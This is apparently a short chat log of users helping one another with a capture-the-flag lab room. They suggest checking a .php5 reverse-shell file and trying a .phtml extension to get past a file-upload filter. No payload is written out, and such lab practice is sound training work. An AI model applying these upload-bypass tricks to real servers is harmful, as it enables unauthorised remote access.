mea culpa heh

chrome hull
#

im doing rrootme room

ebon jewel
fathom dome
fathom dome
chrome hull
#

it shows the upload confirmation and it shows the upload in the directory I just cant get the reverse shell

ebon jewel
#

im looking at my notes atm. might help if you check the /uploads folder manual

#

did you check content of the .php5 file ?

alpine kestrel
#

yeah check the contents of your rev shell file

#

and also if that is okay try phtml file